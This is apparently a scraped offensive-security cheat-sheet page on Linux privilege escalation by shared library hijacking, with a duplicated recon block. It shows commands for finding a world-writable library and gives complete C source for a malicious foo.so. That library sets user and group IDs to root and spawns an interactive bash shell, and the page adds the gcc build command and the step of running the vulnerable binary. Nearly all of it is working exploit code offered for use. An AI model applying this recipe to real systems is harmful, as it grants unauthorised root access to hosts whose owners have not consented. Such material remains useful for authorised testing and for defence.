Shared Library Hijacking
strings ./example
strace ./example
gdb ./example
...
foo.so
...
Copied!find / -type f -name "foo.so" 2>/dev/null
ls -al /path/to/foo.so
drwxrwxrwx 1 user user 64 Dec 15 09:13 foo.so
Copied!Last updated

strings ./example
strace ./example
gdb ./example
...
foo.so
...
Copied!find / -type f -name "foo.so" 2>/dev/null
ls -al /path/to/foo.so
drwxrwxrwx 1 user user 64 Dec 15 09:13 foo.so
Copied!Last updated
#include <stdlib.h>
#include <unistd.h>
void foo() {
setuid(0);
setgid(0);
system("/bin/bash -i");
}
Copied!gcc -shared -fPIC -nostartfiles -o foo.so foo.c
Copied!./example
# or
sudo ./example